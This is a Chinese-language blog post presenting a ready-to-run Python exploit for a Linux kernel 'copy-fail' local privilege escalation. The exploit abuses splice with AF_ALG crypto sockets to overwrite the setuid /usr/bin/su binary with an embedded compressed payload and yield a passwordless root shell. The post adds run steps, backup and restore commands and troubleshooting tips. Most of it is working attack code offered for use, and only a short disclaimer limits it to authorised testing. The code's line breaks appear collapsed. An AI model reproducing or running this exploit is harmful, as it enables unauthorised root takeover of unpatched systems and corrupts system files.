当前位置:首页>Linux>一分钟复现 Linux 内核「copy-fail」漏洞本地免密提权 root

一分钟复现 Linux 内核「copy-fail」漏洞本地免密提权 root

  • 2026-10-11 08:19:26
一分钟复现 Linux 内核「copy-fail」漏洞本地免密提权 root

🐛 一分钟复现 Linux 内核「copy-fail」漏洞 | 本地免密提权 root

仅需几行 Python 代码,就能在未修复的 Linux 主机上拿下 root 权限。


一、漏洞简介

这是一个存在于 Linux 内核 4.x - 5.x 多个发行版的本地提权漏洞。

核心成因:内核在使用 splice 与加密套接字(AF_ALG)交互时,未能正确处理内存拷贝失败的情况(copy-fail)。攻击者通过损坏 /usr/bin/su 二进制文件,可以绕过密码验证,直接获取 root 权限。

原理详解可戳👉原作者博客


二、环境要求

  • • 未打补丁的 Linux 内核(Ubuntu/Debian 部分旧版)
  • • /usr/bin/su 拥有 setuid 权限
  • • Python 3 环境(标准库即可)

三、复现代码

将以下脚本保存为 copy_fail_exp.py :

#!/usr/bin/env python3import os,zlib,socketdef d(x):    return bytes.fromhex(x)def c(f,t,c):    a = socket.socket(38,5,0)    a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))    h = 279    v = a.setsockopt    v(h,1,d('0800010000000010'+'0'*64))    v(h,5,None,4)    u,_ = a.accept()    o = t + 4    i = d('00')    u.sendmsg([b"A"*4+c],              [(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3)],              32768)    r,w = os.pipe()    os.splice(f,w,o,offset_src=0)    os.splice(r,u.fileno(),o)    try:        u.recv(8+t)    except:        passf = os.open("/usr/bin/su",0)i = 0e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d1"))while i < len(e):    c(f,i,e[i:i+4])    i += 4os.system("su")

四、 复现三步法

  1. 1. 备份原 su 文件(重要!)
    cp /usr/bin/su /usr/bin/su.bak
  2. 2. 运行脚本
    python3 copy_fail_exp.py
  3. 3. 直接提权

    脚本执行完毕,自动弹出 su 命令,无需输入密码,直接回车即可进入 root 会话。


五、重要说明

  • • 合法授权范围:该脚本会直接修改系统文件,严禁在非授权环境使用。仅限个人实验、CTF 或渗透测试学习。
  • • 恢复方法:测试完成后,恢复备份文件以保平安。
    cp /usr/bin/su.bak /usr/bin/su
  • • 失败排查:如执行失败,通常因内核已针对此漏洞修复,或加载了 LSM 强制访问控制(如 SELinux)。

🔍 进阶学习

想了解漏洞在内核网络子系统与文件系统的交互细节?

后台回复「copy-fail」一起学习交流。

复现虽酷,安全第一 🛡️

最新文章

随机文章